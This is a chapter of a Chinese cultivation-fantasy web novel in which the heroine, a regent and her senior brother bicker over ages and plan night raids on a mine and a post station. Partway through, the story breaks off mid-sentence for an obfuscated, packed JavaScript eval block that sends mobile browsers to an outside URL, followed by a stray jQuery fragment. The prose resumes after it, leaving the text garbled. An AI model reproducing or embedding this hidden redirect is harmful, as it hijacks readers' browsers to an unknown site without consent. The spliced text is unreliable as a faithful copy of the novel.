46. 四十六、

    秘境内,萧昭明刚从队伍里的药修那回来。


    她浑身经脉疼得厉害。


    今天先是释放神识覆盖了整个幽都,又炼了个器,忘川印还不稳。难得觉得扛不住,只好去找药修们要了几瓶丹药,一口气全吞了。


    解开忘川印,需要极大的决心和大量的灵力。她觉得自己现在挺有决心的,就是不知道靠这些丹药补来的灵力,够不够得上“极烈之灵”。


    见过大巫以后,萧昭明对这个封印已经有了大概的猜测。也终于明白了居烬为什么会将那个烛龙眼给她。


    烛龙眼,本就是能储存净化灵力的古老法器。将它放在她身边,等于放了一个关闸的灵力池,只要时机到了,随时可以开闸放出灵力。


    算是一招阳谋。


    只是谁也没料到,因为封九鸿的暗中挪用,这烛龙眼在启暮城引发了修士自燃的惨案。


    而澧玉,在向监仙司揭露“玉虚京有人私贩千机体”后,就将她送到了颜落所在的启暮城,那时监仙司首座宣述正在这里查案。


    她这才认识了宣述。


    也阴差阳错利用烛龙眼,完成了一次死遁。


    她原以为,那是她终于摆脱过去、重启新生的开始。


    可没想到,更久远的过往像回环往复的河流,一次又一次地出现在前方。


    大概天道如此。


    没走到尽头的路,总会一次又一次地走上去。


    而这次,她又遇到了宣述。


    在这片风雪中,窥见了新的道路与希望。


    于是她想,那就再走一次吧。这条路,还没走过。


    风雪渐大,萧昭明披着大氅,如一柄雪铸的剑,沉默而凛冽地立在门前。


    她有一种预感,今晚幽都有一场硬仗。


    果不其然,下一刻,宣述和沈霁明踏着风雪回来了。


    先映入眼帘的是身着王袍的摄政王,暗纹映着雪光反射出流水般的光泽,衬得眉眼愈发浓墨重彩。


    威压与居高临下的上位者气息被掩藏得很好,只有在触碰他时才能窥见一二。


    萧昭明瞧见他,下意识就想起了那碗热腾腾的面,和甜润的银耳羹。


    指尖都似乎温暖了些许。


    见她立在门前,宣述上前的步子都快了许多,低声细语的:“总指挥给谁当门神呢?不冷么?进屋去。”


    萧昭明:“……”


    再温柔的语气也掩盖不了这张抹了毒的嘴。


    萧昭明眼角自上而下俯视他,下巴微抬:“不冷,热得冒汗,你要是回来再晚点,我都可以拿自己去烫死煞炁了。”


    说罢,她转身就走。


    宣述怔了下,忍不住笑出声。


    他无话可说,只好双手握住她肩膀,将人拉回来推进屋里,省得总指挥真“身先士卒”烫死煞炁。


    倒是沈霁明落后一步,目睹全程,神情逐渐从茫然变得难以置信。


    昭明什么时候……同宣述关系这么好了?


    而且宣述这个万年孤寡老人怎么笑得一副老树开花的模样?


    我师妹才七十来岁,你个活了一百多岁的老东西想干什么!


    直到落座,沈霁明都目露警惕,盯着宣述。


    宣述被盯得发毛,奇怪地问:“沈掌门,你这么看着本王做什么?”


    沈霁明:“你一百多少岁了?”


    宣述:?


    宣述莫名其妙的,觉得遭到了针对:“一百二十一,你们修士都活到好几百岁,我活个一百二很奇怪吗?我也修炼过好不好?”


    说得好像他很老一样!


    沈霁明双臂抱起,往后一靠,冷酷地说:“我师妹才七十六岁。”


    宣述:“……”


    他张了张口,心里狂骂沈霁明“你知不知道你师妹其实是你师祖”,但奈何这话不能说出来,愣是憋出了内伤。


    见“提点”到位了,宣述已经伤心到说不出话,沈霁明便也放他一马,语重心长:


    “宣王爷,不是我说你,你这个年纪确实有点大,以我师妹的身家,怎么也能选一个年轻力壮、青梅竹马的,对吧?虽然你有钱有权,但是……”


    “本王没记错的话,”宣述阴恻恻道,“沈掌门今年一百一十五了吧?”


    沈霁明沉默片刻:“但话又说回来,年纪大的会疼人……”


    只见宣述睥睨地瞧着他。


    若论这个,宣述又比沈霁明大上那么十来岁。


    沈霁明额头青筋一跳:“……”


    不想再听两人争执这么幼稚的问题,萧昭明扶着额角,打断道:“你们两个在说什么奇怪的话?还不赶紧看地图,再磨蹭,丁寒都到神机门了。”


    双方只好偃旗息鼓,暂时统一战线,转向悬挂起来的那张极北之地地图。


    矿洞和官驿的位置都圈了起来。


    萧昭明注视着这两处,若有所思地问:“丁寒那边,有人盯着吗?”


    宣述:“有,周鸣会沿途监视丁寒那只流鸢云辇,等拿到证据,随时可以抓人。”


    沈霁明也道:“神机门内也安排好了,甘长老会确保丁寒不会逃脱。”


    她点点头,顿了顿,又说:“我总觉得,丁成安和张来叙旧说的那些话,不对劲。不是因为他们在苏星川和苏月澜这两个名字上露了馅,而是他们本没必要说前面那些‘废话’,如果只是为了迷惑沈……师兄,随便说点什么都好,而且‘男修跟踪’‘飞天焰火’这种细枝末节,太真实了,不像临场编的。”


    又听到萧昭明叫了师兄,沈霁明眼睛一亮,心里爆出雀跃的小火花。


    在大巫那里时,可以说是她有事相求,而现在,事已过去,她若是决心彻底与神机门了断,就会继续避而不提。


    但幸好,他又听到了。


    沈霁明双手放在膝上,想了想道:“会不会是某种黑话,用来传递信息?比如提到了‘丁成安喜欢的女修’,就暗指他们的据点。”


    宣述一手撑着头,一手滴溜溜转着瓷杯,“监仙司也有这种黑话,如果真是这样,苏氏兄妹说不定就关在那个据点,所以二人才下意识扯了苏氏兄妹的名字来打掩护。”


    而且大巫说苏氏兄妹在矿洞位置,那矿洞,很可能就是他们的据点!


    宣述神色一凛,也不转瓷杯了,当即取出传讯玉牌,给庆州分司发了传讯。


    他边发边说,“丁成安本就是因私挖灵脉被罚庆州,倘若是他在庆州期间仍不死心,暗度陈仓勾结了幽都官驿……”


    监仙司在各个州都有分司,他每年也会巡视四境,连启暮城都不会放过,更不用说庆州。可这些年,连他都没有发现异常,还以为丁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052855|171054||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成安真老实了。


    丁成安和官驿,一定有问题。


    玉牌白光一闪,庆州回复:“查阅文书批文,并无异常。属下立刻带人去丁成安府邸搜查。”


    但他们没有时间等庆州那边搜查出结果来再动手了。


    萧昭明不再犹豫,干脆利落地调配人手。


    “官驿和矿洞,都是我们今晚的目标,两边同时动手。”


    很快,她将计划铺开,给参与这次行动的修士们分成三队:


    一队直奔官驿,由宣述带队。


    一队强攻矿洞,萧昭明带队。


    沈霁明负责各方信息畅通,留在外面善后。


    宣述忍不住道:“煞炁伤不到我,还是我去矿洞……”


    “不行。”萧昭明在某些时候固执而强势,“太危险了。而且官驿那边,监仙司出面比较名正言顺。”


    若是甘之云在这,想必会感叹一句,人不管重活多少次,有些东西都不会变。


    平日里随和,关键时刻却说一不二。


    跟她认识的明梧一模一样。


    人嘛,都有惯性,会下意识服从于比自己强势的人。


    但宣述做监仙司首座的这些年,也是个习惯掌控一切的人,看不到萧昭明,他不安心。


    但想了一会儿,还是同意了。


    这次行动,要听总指挥的。


    萧昭明看向他,“如果玉虚京对我们动了官驿这件事有什么意见……”


    宣述眉梢挑起,从容不迫往后一靠,抬了下下颌道,“你尽管做。本王在这,玉虚京不敢阻拦。有任何责任,本王一力担之。”


    语气轻描淡写,却是来自监仙司首座的承诺,分量自不必说。


    严格来说,这其实是她与宣述之间那场交易的一部分,宣述理应为她排除阻力。


    可听到这话时,还是生出难得的安定。


    有后援、有人并肩作战的感觉,真好啊。


    ·


    幽都官驿内。


    张来一脚踏进来,靴底沾着雪水,留下一串脚印。


    驿吏们早已守在厅内,见驿长回来,齐刷刷围了上来,七嘴八舌:“驿长,外头到底怎么了啊?”


    张来僵硬地笑着,从嗓子挤出几个字:“没什么大事,就是今晚得放一场……飞天焰火。”


    此言一出,驿吏们纷纷变了脸色。


    “放……放在哪啊?”其中一个犹豫着问。


    “老地方,还有……新地方。”


    蜕神神识始终笼罩在上空,像无形的网,张来只能含糊地暗示。


    一旦说出某些关键的词,被神识捕捉到,立马就会惊动正主。


    幸好平日里属下们也习惯了用代称,能听懂。


    有人还是忍不住,压低了嗓音,吐字发颤:“可是、可是咱们的人下去了就没上来……他们……”


    张来也压低声音,凶狠道:“没时间了!京里来人了,那位王爷八成也在……你们都听过他的名声,要是这两个地方落在他手里,咱们就全完了!先保地面上的!”


    所有人都沉默了。


    见没人反对了,张来打了个手势,哑声厉言:“分两头行动,飞天焰火你们都知道怎么放,今晚只能成功不能失败,否则落到那位王爷手里被扒皮挫骨,连骨头渣也别想剩下了!”